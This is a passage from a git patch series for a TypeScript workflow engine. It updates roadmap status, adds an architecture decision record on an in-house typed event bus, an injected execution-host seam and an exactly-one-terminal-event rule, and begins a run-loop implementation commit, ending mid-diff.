From 3b3c7721f7d1c3f8b7cea30733e8c387ca092adb Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 08:22:51 +0300 Subject: [PATCH 01/16] docs(roadmap): mark 1.M (DAG builder + RunPlan) and 1.AB (sandbox) Done after PR #16 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #16 (DAG builder + `RunPlan`, 1.M; QuickJS-wasm expression sandbox, 1.AB) merged to main on 2026-06-13. Per the roadmap-done-after-merge convention, flip both workstreams to ✅ Done and repoint the "next workstream" pointer to 1.N (WorkflowEngine + RunEventBus). - phase-1-engine-and-llm.md: status block, the 1.M and 1.AB section headers, and the dependency table (M2-path cells annotated Done (PR #16)). - current.md: bump Last updated to 2026-06-13; record 1.M/1.AB landed and set 1.N as next. - README.md / CLAUDE.md: refresh the engine-lane status sentence. phases/README.md and roadmap/README.md unchanged — neither tracks per-workstream status (the M2 milestone def still correctly lists 1.AB as required for M2). Refs: ADR-0027, ADR-0029, PR #16 Co-Authored-By: Claude Opus 4.8 (1M context) --- CLAUDE.md | 6 ++++-- README.md | 7 ++++--- docs/roadmap/current.md | 12 ++++++++---- docs/roadmap/phases/phase-1-engine-and-llm.md | 12 +++++++----- 4 files changed, 23 insertions(+), 14 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 85bd7828..a5d46435 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -48,8 +48,10 @@ ADR-0030 seam-shape amendment — and the **ADR-0031 multimodal seam-shape amend reserved generator methods, shape-only, landed before the seam's exhaustive consumers. The `FallbackChain` runner (1.K, PR #13) is now landed and fully covered. The [`@relavium/core` engine](docs/roadmap/phases/phase-1-engine-and-llm.md) lane has since landed the -**`WorkflowYAMLParser` (1.L, PR #14)** and the **`{{ … }}` interpolation engine + parse-time secret-taint -gate (1.L2, PR #15)**; active work continues with the **DAG builder + `RunPlan` (1.M)**; see +**`WorkflowYAMLParser` (1.L, PR #14)**, the **`{{ … }}` interpolation engine + parse-time secret-taint +gate (1.L2, PR #15)**, and the **DAG builder + `RunPlan` (1.M)** plus the **QuickJS-wasm expression +sandbox (1.AB)** (PR #16, 2026-06-13); active work continues with the **run loop — `WorkflowEngine` + +`RunEventBus` (1.N)**; see [docs/roadmap/current.md](docs/roadmap/current.md). See [README.md](README.md) for the public overview. ## Non-negotiable rules for AI agents diff --git a/README.md b/README.md index 3cd9e1ac..cf6d56a5 100644 --- a/README.md +++ b/README.md @@ -38,8 +38,9 @@ vendor type crossing it (PR #7–#9), followed by the **ADR-0031 multimodal seam reserved generator methods, landed **shape-only** before the seam's exhaustive consumers exist (PR #11, 2026-06-10). The seam's last policy layer — the `FallbackChain` runner (1.K) — then landed (PR #13, 2026-06-11), completing the LLM lane. The `@relavium/core` engine lane has since landed the -**`WorkflowYAMLParser`** (1.L, PR #14) and the **`{{ … }}` interpolation engine + parse-time -secret-taint gate** (1.L2, PR #15) — both with zero platform imports. Next on the critical path: the -**DAG builder + `RunPlan`** (1.M), then the run loop, checkpoint/resume, and retry, plus the +**`WorkflowYAMLParser`** (1.L, PR #14), the **`{{ … }}` interpolation engine + parse-time +secret-taint gate** (1.L2, PR #15), and the **DAG builder + `RunPlan`** (1.M) together with the +**QuickJS-wasm expression sandbox** (1.AB) (PR #16, 2026-06-13) — all with zero platform imports. +Next on the critical path: the run loop (1.N), then checkpoint/resume and retry, plus the **AgentSession** runtime + export-to-workflow sub-spine. See [docs/roadmap/current.md](docs/roadmap/current.md) for live status. diff --git a/docs/roadmap/current.md b/docs/roadmap/current.md index b9e44ca2..f8f42fb3 100644 --- a/docs/roadmap/current.md +++ b/docs/roadmap/current.md @@ -2,7 +2,7 @@ > Status: Living -> Last updated: 2026-06-12 +> Last updated: 2026-06-13 - **Related**: [README.md](README.md), [phases/phase-0-foundations.md](phases/phase-0-foundations.md), [phases/phase-1-engine-and-llm.md](phases/phase-1-engine-and-llm.md), [../project-structure.md](../project-structure.md), [../tech-stack.md](../tech-stack.md) @@ -125,8 +125,11 @@ and a hardened YAML decode profile ([ADR-0035](../decisions/0035-yaml-parser-dep **1.L2 (the `{{ … }}` interpolation engine) ✅ Done (PR #15, 2026-06-12)**: the runtime resolver + pipe-filter registry (`json`/`length`/`default`/host-injected `read_file`) and the **parse-time transitive secret-taint gate** ([ADR-0029(c)](../decisions/0029-tool-policy-hardening.md)), still -zero platform imports. The engine lane continues: **1.M → 1.N → 1.R**, converging at the **1.O join** -(whose `FallbackChain` dependency, 1.K, is now satisfied) toward **M2**. +zero platform imports. **1.M (DAG builder + `RunPlan`) and 1.AB (the QuickJS-wasm expression sandbox) +are ✅ Done (PR #16, 2026-06-13)** — the plan layer (a deterministic topological `RunPlan`) and the +deterministic, resource-capped `condition`/`transform`/`merge_fn` evaluator ([ADR-0027](../decisions/0027-expression-sandbox.md)), +both pure-engine (zero platform imports). The engine lane continues: **1.N → 1.R**, converging at the +**1.O join** (whose `FallbackChain` dependency, 1.K, is now satisfied) toward **M2**. > **Multimodal I/O — the shape is landed (1.AD ✅ Done, PR #11, 2026-06-10).** First-class > image/audio/video I/O (input **and** output, incl. generate-media-by-rule) was decided on 2026-06-08: @@ -150,7 +153,8 @@ zero platform imports. The engine lane continues: **1.M → 1.N → 1.R**, conve > pnpm install-script allowlist. No Phase-1 work changed; **1.K has since landed (PR #13)**, and > **1.L has since landed (PR #14, 2026-06-12)** and **1.L2 (the `{{ … }}` interpolation engine + the > parse-time secret-taint gate) is ✅ Done (PR #15, merged 2026-06-12)**; **1.M (DAG builder + -> `RunPlan`) is the next workstream**. +> `RunPlan`) and 1.AB (the expression sandbox) have since landed (PR #16, merged 2026-06-13)** — +> **1.N (`WorkflowEngine` + `RunEventBus`) is the next workstream**. Carry-over hardening is tracked in [deferred-tasks.md](deferred-tasks.md) — pick items up as Phase 1 first touches each file. diff --git a/docs/roadmap/phases/phase-1-engine-and-llm.md b/docs/roadmap/phases/phase-1-engine-and-llm.md index 69b4d90a..8bc7fcfb 100644 --- a/docs/roadmap/phases/phase-1-engine-and-llm.md +++ b/docs/roadmap/phases/phase-1-engine-and-llm.md @@ -14,7 +14,9 @@ > CostTracker, 1.B). **1.L ✅ Done (PR #14, 2026-06-12)** — `@relavium/core` is scaffolded with the > `WorkflowYAMLParser` — and **1.L2 ✅ Done (PR #15, 2026-06-12)** — the `{{ … }}` interpolation engine > (runtime resolver + pipe-filter registry) plus the parse-time transitive secret-taint gate -> (ADR-0029(c)). The engine lane continues at **1.M → 1.N → 1.R**, converging at the **1.O** join toward +> (ADR-0029(c)). **1.M (DAG builder + `RunPlan`) and 1.AB (the QuickJS-wasm expression sandbox) are +> ✅ Done (PR #16, 2026-06-13)** — the plan layer and the deterministic `condition`/`transform`/`merge_fn` +> evaluator. The engine lane continues at **1.N → 1.R**, converging at the **1.O** join toward > **M2**. *(Session persistence, 1.X/1.Z, must exclude the reasoning signature — non-persisting.)* > > **Multimodal I/O decided (2026-06-08).** First-class image/audio/video I/O (input **and** output) is a @@ -523,7 +525,7 @@ of every node, so it is sequenced before 1.M/1.O/1.P.) It is distinct from the J **Acceptance:** interpolation resolves refs + filters correctly; a secret routed into prompt/tool text is rejected at parse with a field-named, secret-free error; re-resolving a node yields an identical frozen scope. -### 1.M — DAG builder + `RunPlan` (topological order) — *critical path* +### 1.M — DAG builder + `RunPlan` (topological order) — *critical path* · ✅ **Done (PR #16, 2026-06-13)** Turn the validated definition into an executable plan. @@ -801,7 +803,7 @@ These build the `AgentSession` entry point ([ADR-0024](../../decisions/0024-agen - **1.Z — Export-to-workflow serializer.** Session → `.relavium.yaml` **linear-chain scaffold + transcript** ([ADR-0026](../../decisions/0026-session-export-to-workflow.md)). Includes a **`WorkflowDefinition` → YAML emitter** (deterministic key ordering, the `metadata` transcript block, secret exclusion) — 1.L is parse-only, so this workstream owns serialization. *Acceptance:* an exported session parses as a valid workflow whose agent nodes mirror the turns; **parse → serialize round-trips** (including `metadata`); no `secret` value is serialized; and **no reasoning `signature` is serialized** (ADR-0030 ephemerality — the signature is a transient same-provider token, never written to a committable artifact, same exclusion as `secret`). - **1.AA — Node-harness chat regression.** The session counterpart of 1.U: a multi-turn chat with a tool call and an export, run green in CI. -### 1.AB — Expression sandbox (QuickJS-wasm) — *critical path*, folds into 1.P +### 1.AB — Expression sandbox (QuickJS-wasm) — *critical path*, folds into 1.P · ✅ **Done (PR #16, 2026-06-13)** Per [ADR-0027](../../decisions/0027-expression-sandbox.md): a deterministic, resource-capped QuickJS-wasm sandbox for `condition` / `transform` / `merge_fn`, instantiated via the `WebAssembly` global from embedded bytes (no `node:fs`/`fetch`/DOM, no wall-clock/RNG, no `new Function()`). **On the M2 critical path** — the 1.P node handlers must not ship an unspecified evaluator, so this is sequenced into 1.P (it raises the 1.m4 cost). **First task — a perf spike:** select and benchmark the QuickJS-wasm package (candidate `quickjs-emscripten`) on the expression hot path and pin it in the `catalog:` ([tech-stack.md](../../tech-stack.md)); the rest of 1.AB builds on the confirmed package. @@ -1054,11 +1056,11 @@ flowchart LR | 1.K | A | 1.B, 1.I, 1.J, 1.AD (media shape) | 1.O | ✅ — **Done (PR #13)** | | 1.L | B | 1.L.0 | 1.L2, 1.Z | ✅ — **Done (PR #14)** | | 1.L2 | B | 1.L | 1.M | ✅ — **Done (PR #15)** | -| 1.M | B | 1.L2 | 1.N | ✅ | +| 1.M | B | 1.L2 | 1.N | ✅ — **Done (PR #16)** | | 1.N | B | 1.M | 1.O, 1.R, 1.W | ✅ | | 1.R | B | 1.N | 1.S, 1.Q, 1.Y | ✅ | | 1.T | B | 1.E | 1.O, 1.U | ⬤ | -| 1.AB | B | package scaffold (perf spike first) | 1.P | ✅ folds into 1.P | +| 1.AB | B | package scaffold (perf spike first) | 1.P | ✅ folds into 1.P — **Done (PR #16)** | | 1.O | B | **1.K, 1.N, 1.T** (the join), 1.AD (media shape) | 1.P, 1.S, 1.AC, 1.V | ✅ | | 1.P | B | 1.O, 1.AB | 1.Q, 1.U | ✅ | | 1.S | B | 1.O, 1.R | 1.U | ✅ | From 149c500dfbcadc17b791a33d6da95c5fd12884c3 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 10:08:10 +0300 Subject: [PATCH 02/16] docs(decisions): add ADR-0036 run-loop substrate (RunEventBus, ExecutionHost, terminal-event invariant) Records the three 1.N run-loop substrate decisions no existing ADR covers: an in-house, platform-free typed RunEventBus (not node:events, not a new runtime dependency); the injected ExecutionHost execution-mode seam (clock / store / transport, so the loop never branches on local-vs-cloud); and the exactly-one-terminal-event invariant with its cancel/timeout/budget precedence and crash-reconciliation rule. Cites ADR-0003 (dispatch shape, derived checkpoint) and ADR-0028 (governance terminality) rather than restating them. Resolves the documented docs-vs-purity-fence contradiction (canonical prose literally says "EventEmitter", which the engine-purity fence bans in packages/core/src); the three literal-"EventEmitter" doc homes are reworded as part of the 1.N implementation PR. Refs: ADR-0036 Co-Authored-By: Claude Opus 4.8 --- ...-substrate-event-bus-and-execution-host.md | 53 +++++++++++++++++++ docs/decisions/README.md | 1 + 2 files changed, 54 insertions(+) create mode 100644 docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md diff --git a/docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md b/docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md new file mode 100644 index 00000000..ea7b583d --- /dev/null +++ b/docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md @@ -0,0 +1,53 @@ +# ADR-0036: Run-loop substrate — in-house `RunEventBus`, the `ExecutionHost` seam, and the exactly-one-terminal-event invariant + +- **Status**: Accepted +- **Date**: 2026-06-13 +- **Related**: [ADR-0003](0003-pure-ts-engine-not-langgraph-python.md), [ADR-0011](0011-internal-llm-abstraction.md), [ADR-0018](0018-desktop-execution-and-rust-egress.md), [ADR-0022](0022-run-references-workflow-by-uuid.md), [ADR-0024](0024-agent-first-entry-point-agentsession.md), [ADR-0027](0027-expression-sandbox.md), [ADR-0028](0028-workflow-resource-governance.md), [ADR-0029](0029-tool-policy-hardening.md), [ADR-0035](0035-yaml-parser-dependency.md), [sse-event-schema.md](../reference/contracts/sse-event-schema.md), [execution-model.md](../architecture/execution-model.md), [shared-core-engine.md](../architecture/shared-core-engine.md), [error-handling.md](../standards/error-handling.md), [architectural-principles.md](../standards/architectural-principles.md) + +## Context + +Workstream **1.N** builds the engine run loop: `WorkflowEngine.start(workflowId, input)` / `resume` / `cancel` walking the `RunPlan` (1.M), the `RunEventBus` surfaces subscribe to, and the `RunHandle.events` async iterable every surface consumes. Two of its three contracts are already settled and have a canonical home — the emitted **event shapes** are pinned by [sse-event-schema.md](../reference/contracts/sse-event-schema.md) and the Zod source in `@relavium/shared` (`run-event.ts`), and the **dispatch shape** (a plain async orchestrator over a static topological plan, a dispatch table, state-after-each-node, a *derived* checkpoint, no second state machine, no LangGraph) is pinned by [ADR-0003](0003-pure-ts-engine-not-langgraph-python.md). This ADR does not re-open either; it records the three run-loop **substrate** decisions that no existing ADR covers and that 1.N cannot make implicitly. + +1. **The concrete `RunEventBus` primitive — a documented contradiction.** The canonical prose literally calls the bus "an `EventEmitter`" ([shared-core-engine.md](../architecture/shared-core-engine.md) §What the engine exports, [sse-event-schema.md](../reference/contracts/sse-event-schema.md) §Transport, and the 1.N task line in [phase-1-engine-and-llm.md](../roadmap/phases/phase-1-engine-and-llm.md)). But a Node `EventEmitter` comes from `node:events`, and `node:events` (and the bare `events` builtin, and the Node global set) are **hard-banned in `packages/core/src`** on two CI layers introduced for 1.M: the ESLint engine-purity fence (`no-restricted-imports` over the `node:*` group and the Node-builtins list, applied to `packages/core/src/**`) and `tsconfig.purity.json` (`types: []`, so a Node type has no declaration and fails to compile). The prose therefore actively directs an implementer toward a fence-banned primitive — a contradiction to resolve and record, not a silent gap to fill. Engine purity (CLAUDE.md rule 5, [ADR-0003](0003-pure-ts-engine-not-langgraph-python.md)/[ADR-0011](0011-internal-llm-abstraction.md)) requires the bus run identically in Node, the Tauri WebView, the VS Code extension host, and Bun. + +2. **The `ExecutionHost` seam — named everywhere, shaped nowhere.** [ADR-0018](0018-desktop-execution-and-rust-egress.md), [ADR-0024](0024-agent-first-entry-point-agentsession.md), [execution-model.md](../architecture/execution-model.md) §Local vs cloud, and [architectural-principles.md](../standards/architectural-principles.md) all name `ExecutionHost` as the boundary at which the *whole engine relocates* for the Phase-2 cloud mode (events then stream over HTTP SSE), while `local`/`managed` switch behind the `@relavium/llm` seam with the engine staying put. Its method surface is specified in **no** document. 1.N must nonetheless invent that boundary — the injection point for the persistence/store port (including the [ADR-0022](0022-run-references-workflow-by-uuid.md) slug→`workflows.id` UUID upsert, which a platform-free core cannot perform via a direct `@relavium/db` import), a platform-free clock/timer source, and the transport boundary — and getting it wrong forces a Phase-2 rewrite. + +3. **The exactly-one-terminal-event invariant — a live cross-doc ambiguity.** 1.N's acceptance demands that every run terminate in **exactly one** of `run:completed | run:failed | run:cancelled`, including on an uncaught node-handler throw and on crash-then-restart of a non-resumable run. But the relationship between the governance signals `run:timeout` / `budget:paused` ([ADR-0028](0028-workflow-resource-governance.md)) and that terminal set is unpinned, and the cancel-vs-late-failure race has no defined precedence — the run loop's core liveness/safety contract is therefore underspecified. + +The stakes are high because this substrate is shared: `WorkflowEngine` and `AgentSession` ([ADR-0024](0024-agent-first-entry-point-agentsession.md)) are two front doors onto **one** bus, one translation point, and one host seam, so a leak, an unbounded buffer, a forked-per-entry-point assumption, or a zombie run here propagates to every surface and both entry points. + +## Decision + +**We will build the 1.N run-loop substrate on the following pinned choices.** + +- **The `RunEventBus` is a hand-rolled, platform-free typed pub/sub built inside `packages/core`** over the `@relavium/shared` `RunEvent` / `SessionEvent` union — **not** `node:events`, **not** a third-party emitter. It adds no runtime dependency, passes `tsconfig.purity.json` and the ESLint engine-purity fence, and is typed directly on the discriminated union (stronger compile-time guarantees than a loosely-typed library). The "EventEmitter" wording in the canonical docs is read as a **role term** (a typed event bus), not a literal `node:events` import; the literal wording in its three homes ([shared-core-engine.md](../architecture/shared-core-engine.md), [sse-event-schema.md](../reference/contracts/sse-event-schema.md), and the 1.N task line in [phase-1-engine-and-llm.md](../roadmap/phases/phase-1-engine-and-llm.md)) **will be reworded** to drop the banned primitive as part of the 1.N implementation PR — this ADR-only change does not yet edit them. +- **One bus, two namespaces.** The same bus instance carries the `run:*` / `node:*` (runId-keyed) and `session:*` (sessionId-keyed) namespaces; the four reused `agent:*` / `cost:updated` events carry whichever correlation key applies. The emitter API is **not** forked per entry point and bakes in no run-only assumption (no required `runId`), so `AgentSession` ([ADR-0024](0024-agent-first-entry-point-agentsession.md)) shares it unchanged. +- **A single producer-side translation point.** Exactly one place turns engine internals into a validated `RunEvent`. It is the sole site of (a) secret masking / `toolInput` sanitization / `outputSummary` truncation (CLAUDE.md rule 6), (b) the **single authoritative `sequenceNumber` assignment** — one monotonic, gap-free counter per run/session, so concurrent fan-out branches cannot duplicate or invert numbers, and (c) the internal-error→closed-`ErrorCode` mapping plus an optional, secret-free **`correlationId`** carried on the `node:failed` / `run:failed` error payload — a **wire field** (it crosses HTTP SSE in Phase 2 and is visible to surfaces so a user can quote it) that is also joined to the structured internal log. This **reconciles** [error-handling.md](../standards/error-handling.md)'s existing "user-safe message plus an internal correlation id" requirement with an error payload that currently lacks the field; it is a reconciliation, not a fresh invention. The **synchronous durable boundary/terminal write** (next bullet) is the *final step of this point*, before any subscriber is notified — so that write is part of the chokepoint, not a passive subscription. **Cost and UI** subscribe as **passive** consumers — observation never mutates run state; intervention happens only through the engine API (`cancel` / `resume`). +- **`RunHandle.events` is a thin multi-consumer adapter over that bus**, co-equal with `.on()` subscription. Buffering is **bounded per consumer with a producer-await (no-drop) policy**: because the stream must stay gap-free, a drop is never silently tolerated (it would force a `sequenceNumber` resync); a late subscriber resyncs by replaying persisted `run_events` from its last seen `sequenceNumber`. The in-process backpressure rule mirrors the already-decided Rust `Channel` egress backpressure ([ADR-0018](0018-desktop-execution-and-rust-egress.md)). +- **The `ExecutionHost` is the injected seam carrying host concerns** so the loop body never branches on execution mode: a persistence/store port (which owns the [ADR-0022](0022-run-references-workflow-by-uuid.md) slug→UUID upsert, keeping `run:started.workflowId` a UUID enforced in one place), a platform-free **clock/timer** source (gate and run-`timeout_ms` deadlines are armed as **one-shot timers**, never a poll loop — an event-driven timer satisfies the no-sleep/poll dispatch rule), and the transport boundary. `cloud` later swaps the whole host; `local` is the Phase-1 host. Following the [ADR-0027](0027-expression-sandbox.md)→`expression-sandbox-spec.md` precedent, this ADR pins the *principle and the Phase-1 slices*; the exhaustive method surface lands in its `docs/reference/` home when 1.N implements it (one canonical home, rule 8) — kept minimal so Phase-2 transport can firm up without a reversal. +- **The exactly-one-terminal-event invariant.** Exactly one of `run:completed | run:failed | run:cancelled` closes a run and completes the async iterable. `run:paused` / `human_gate:paused` / `budget:paused` / `run:timeout` are **non-terminal** suspensions/signals: they do **not** complete the iterable — the stream stays open across the suspension, and a consumer reconnecting after a pause resyncs via `sequenceNumber` replay from persisted `run_events` (only a terminal event ends the iterable). A non-continuable timed-out or budget-blocked run still terminates with exactly one `run:failed` carrying `code: run_timeout` / `budget_exceeded` (the governance event/`on_exceed` contract is owned by [ADR-0028](0028-workflow-resource-governance.md) and cited, not restated). Precedence: once `cancel` is requested the run enters a *cancelling* state and closes as `run:cancelled` even if a branch races toward failure. A node-handler throw with no more specific class maps to `internal` (`retryable: false`); a tool throw to `tool_failed`; a sandbox throw to `sandbox_error` per its determinism split ([error-handling.md](../standards/error-handling.md)). Crash-then-restart of a non-resumable run reconciles to a single `run:failed`, never a stuck `run:started`. +- **Persistence precedes delivery at a node boundary — and persistence wears two hats.** On the **write** path it is *not* a passive subscriber: the node-boundary / terminal event's durable write to `run_events` / `step_executions` is the synchronous final step of the producer-side translation point above (before fan-out to any consumer), so a crash between emit and write can never re-run a completed node or lose its output. On the **read** path the `Checkpointer` reconstructs the *derived* `CheckpointState` ([ADR-0003](0003-pure-ts-engine-not-langgraph-python.md), no separate checkpoint table) from those rows for resume / crash reconciliation — an observation off the emit hot path. Cost and UI are pure passive observers on neither path; only this durable boundary write sits inside the chokepoint. + +Considered alternatives: + +- **No new ADR — implement against the existing docs** (rejected). Those docs are the canonical home for the event *contract* (`@relavium/shared`) and the *dispatch shape* ([ADR-0003](0003-pure-ts-engine-not-langgraph-python.md)), but they cover none of the three substrate decisions: the emitter primitive (the prose literally names a fence-banned `EventEmitter`), the `ExecutionHost` method surface (named but shaped nowhere), and the terminal-event precedence + timeout/budget terminality (a live ambiguity). Recording non-trivial decisions is CLAUDE.md rule 9; a *contradiction* between canonical prose and a CI fence is exactly what needs a recorded resolution, distinct from the silent gaps 1.L/1.M filled without their own ADR. +- **Import Node's `EventEmitter` (or a polyfill)** (rejected). `node:events` / the `events` builtin is hard-banned for `packages/core/src` by the ESLint fence and `tsconfig.purity.json`, fails CI, and breaks the WebView / VS Code host / Bun surfaces (rule 5). A polyfill is itself a new runtime dependency requiring an ADR — so this avoids neither the ADR nor the purity violation. +- **Adopt a small isomorphic emitter dependency** (`eventemitter3` / `mitt` / `nanoevents`) (rejected). Though platform-free, a new `@relavium/core` runtime dependency is gated by CLAUDE.md rule 2 and the `tools/engine-deps/check.mjs` allowlist, and [architectural-principles.md](../standards/architectural-principles.md) names the run/state plumbing as a seam to **own**, not outsource (an event bus is not the crypto/TLS/keychain class the "wrap a vetted library" carve-out protects, contrast [ADR-0035](0035-yaml-parser-dependency.md)'s YAML tokenizer). A typed in-house emitter is trivial, types directly on the union, and buys what a dependency cannot. +- **Split into three ADRs** (one each for the emitter, the host seam, the terminal invariant) (rejected). The three are tightly coupled — the single translation point that assigns `sequenceNumber` and masks also emits the terminal event, and the `ExecutionHost` injects the clock/store those terminal/timeout paths depend on. One focused substrate ADR keeps the decision coherent; if the `ExecutionHost` surface proves large once cloud lands, a follow-on Phase-2 ADR refines it. + +## Consequences + +### Positive + +- The run-loop substrate is decided before code: the bus is platform-free by construction (no fence waiver, no dependency, no allowlist edit), and both entry points inherit one hardened bus, one masking/`sequenceNumber`/`ErrorCode` chokepoint, and one host seam. +- When 1.N lands, the canonical docs stop directing implementers toward a fence-banned `node:events` import — the literal "EventEmitter" wording in its three homes is reworded to a role term as part of that implementation PR (this ADR-only change records the decision; it does not yet touch those docs). +- The `ExecutionHost` principle is pinned now, so the Phase-1 loop is written against the boundary the Phase-2 cloud host swaps at — avoiding a relocate-the-engine rewrite — while its exhaustive shape keeps one canonical home in `docs/reference/`. +- A zombie / never-terminating run is structurally impossible: exactly one terminal event closes every run (including the uncaught-throw and crash-reconciliation paths), the cancel-vs-failure precedence is defined, and `run:timeout` / `budget:*` terminality is unambiguous. +- Gap-free delivery and crash safety are guaranteed by the no-drop backpressure policy and persistence-before-delivery, so reconnect/resync and resume rebuild the derived checkpoint without re-running a completed node. + +### Negative + +- We own and test an in-house emitter rather than leaning on a battle-tested library — mitigated by its triviality (a typed pub/sub over a closed union), the engine's ≥90% line **and** branch coverage bar ([testing.md](../standards/testing.md)), and the fact that the alternative carried its own ADR + allowlist cost for no gain. +- The `ExecutionHost` surface is pinned only in principle + Phase-1 slices, leaving the full transport shape for Phase 2 — an intentional deferral (over-specifying the cloud boundary before cloud exists is the larger risk); a follow-on ADR refines it, and this one keeps the seam minimal and injected so that refinement is additive. +- Producer-await (no-drop) backpressure means a pathologically slow consumer can throttle the producer rather than dropping events — accepted deliberately: a gap-free stream is the contract that makes lossless reconnect/resync possible, and a per-consumer bounded buffer plus the passive-consumer rule bounds the blast radius. +- The `correlationId` field and the explicit `run:timeout` / `budget:*` non-terminality are additive evolutions of the event contract ([sse-event-schema.md](../reference/contracts/sse-event-schema.md) forward-compat rules): the former **reconciles** [error-handling.md](../standards/error-handling.md)'s existing correlation-id requirement with an error payload that lacks the field (recorded here, not a new invention), and the latter pins a live cross-doc ambiguity. Both land as updates to that canonical home **in the 1.N implementation PR** — decided here, applied there — so the contract and the engine never drift. diff --git a/docs/decisions/README.md b/docs/decisions/README.md index 147662d7..6c5ad5fd 100644 --- a/docs/decisions/README.md +++ b/docs/decisions/README.md @@ -79,6 +79,7 @@ flowchart TD | 0033 | [Local config files are strictly validated too (amends 0023)](0033-strict-config-files-amends-0023.md) | Accepted | 2026-06-09 | | 0034 | [MCP client implementation — the official TypeScript SDK, scheduled in build phase 2](0034-mcp-client-sdk-dependency.md) | Accepted | 2026-06-10 | | 0035 | [YAML parser for the engine — the `yaml` package, confined to `@relavium/core`](0035-yaml-parser-dependency.md) | Accepted | 2026-06-11 | +| 0036 | [Run-loop substrate — in-house `RunEventBus`, the `ExecutionHost` seam, and the exactly-one-terminal-event invariant](0036-run-loop-substrate-event-bus-and-execution-host.md) | Accepted | 2026-06-13 | ## Creating a new ADR From 1fb4d5d4b6fec2276542239e829bb877635406d1 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 11:18:55 +0300 Subject: [PATCH 03/16] =?UTF-8?q?feat(core):=20implement=201.N=20=E2=80=94?= =?UTF-8?q?=20WorkflowEngine=20+=20RunEventBus=20run=20loop?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The engine run loop (ADR-0036): walks the 1.M RunPlan, dispatches every ready node through the injected NodeExecutor seam (1.O/1.P fill it), and emits the canonical RunEvent stream with the exactly-one-terminal-event guarantee. - RunEventBus: an in-house, platform-free typed pub/sub over the @relavium/shared RunEvent union (NOT node:events — the engine-purity fence bans it). The single producer-side translation point: assigns the monotonic, gap-free sequenceNumber + timestamp, validates against RunEventSchema, isolates throwing subscribers, and stamps a secret-free correlationId on failures. - RunHandle.events: a bounded, producer-await (no-drop) async-iterable bridge over the bus, co-equal with .subscribe(); completes on the terminal event. - ExecutionHost seam: injected clock / id source / RunStore / abort controller so the loop is platform-free and identical across execution modes (local now, cloud later); a deterministic in-memory host + store for tests and the local reference. - WorkflowEngine.start/resume/cancel + reconcile: a serialized, completion-driven ready queue (no sleep/poll); condition skip-propagation (a fan-in joins over a skipped branch instead of hanging); the max_parallel cap; cooperative AbortSignal cancellation (cancel wins a race with a late failure); exactly one terminal event (incl. uncaught-throw -> run:failed{internal} and crash-reconciliation -> run:failed, never a stuck run:started); persist-before-deliver at node boundaries. - NodeExecutor / NodeOutcome / GateRequest seam for 1.O (AgentRunner) and 1.P (node handlers); typed EngineStateError for API-boundary misuse (narrow on code). Adds an optional, secret-free correlationId to the @relavium/shared run-event error payload (additive, forward-compatible). Rewords the literal "EventEmitter" in its three doc homes to the platform-free typed bus the purity fence requires, fixes the sse-event-schema canonical-home pointer, and pins the timer/persist/sequence/ terminality/skip/retry notes the run loop depends on. 47 engine unit tests; engine >=90% line+branch; zero platform imports (purity gate green). Roadmap entry stays In-progress until the PR merges. Refs: ADR-0036 Co-Authored-By: Claude Opus 4.8 --- docs/architecture/execution-model.md | 8 + docs/architecture/shared-core-engine.md | 7 +- docs/reference/contracts/sse-event-schema.md | 14 +- docs/reference/shared-core/node-types.md | 2 +- docs/reference/shared-core/run-plan.md | 4 + docs/roadmap/phases/phase-1-engine-and-llm.md | 5 +- docs/standards/error-handling.md | 18 + packages/core/src/engine/engine.test.ts | 635 ++++++++++++++ packages/core/src/engine/engine.ts | 784 ++++++++++++++++++ packages/core/src/engine/errors.test.ts | 25 + packages/core/src/engine/errors.ts | 51 ++ packages/core/src/engine/event-bus.test.ts | 109 +++ packages/core/src/engine/event-bus.ts | 142 ++++ .../core/src/engine/execution-host.test.ts | 98 +++ packages/core/src/engine/execution-host.ts | 215 +++++ packages/core/src/engine/node-executor.ts | 109 +++ packages/core/src/engine/run-handle.test.ts | 146 ++++ packages/core/src/engine/run-handle.ts | 166 ++++ packages/core/src/index.ts | 96 +++ packages/shared/src/run-event.ts | 9 +- 20 files changed, 2630 insertions(+), 13 deletions(-) create mode 100644 packages/core/src/engine/engine.test.ts create mode 100644 packages/core/src/engine/engine.ts create mode 100644 packages/core/src/engine/errors.test.ts create mode 100644 packages/core/src/engine/errors.ts create mode 100644 packages/core/src/engine/event-bus.test.ts create mode 100644 packages/core/src/engine/event-bus.ts create mode 100644 packages/core/src/engine/execution-host.test.ts create mode 100644 packages/core/src/engine/execution-host.ts create mode 100644 packages/core/src/engine/node-executor.ts create mode 100644 packages/core/src/engine/run-handle.test.ts create mode 100644 packages/core/src/engine/run-handle.ts diff --git a/docs/architecture/execution-model.md b/docs/architecture/execution-model.md index 5e9cb666..a2ffb8d1 100644 --- a/docs/architecture/execution-model.md +++ b/docs/architecture/execution-model.md @@ -142,6 +142,14 @@ checkpoint table** — the checkpoint is reconstructed (by a `Checkpointer`) fro + `run_events` (+ `messages` for an orchestrator's history), all defined in [../reference/desktop/database-schema.md](../reference/desktop/database-schema.md). +Three run-loop substrate rules make this reliable ([ADR-0036](../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)): +a node-boundary / terminal event is **persisted before it is delivered** to consumers, so a crash +between emit and write can never re-run a completed node or lose its output; the +**monotonic, gap-free `sequenceNumber` is assigned at a single producer-side point** (one counter per +run/session), so concurrent fan-out branches cannot duplicate or invert numbers; and gate / run +`timeout_ms` deadlines are armed as **one-shot timers from an injected clock — not a sleep/poll loop**, +so the completion-driven scheduler stays event-driven. + ### 6. Finish On the last node the engine writes the final output and a cost record to SQLite, diff --git a/docs/architecture/shared-core-engine.md b/docs/architecture/shared-core-engine.md index f0d93493..ab994f75 100644 --- a/docs/architecture/shared-core-engine.md +++ b/docs/architecture/shared-core-engine.md @@ -85,9 +85,10 @@ The artifact contracts it consumes and produces live in 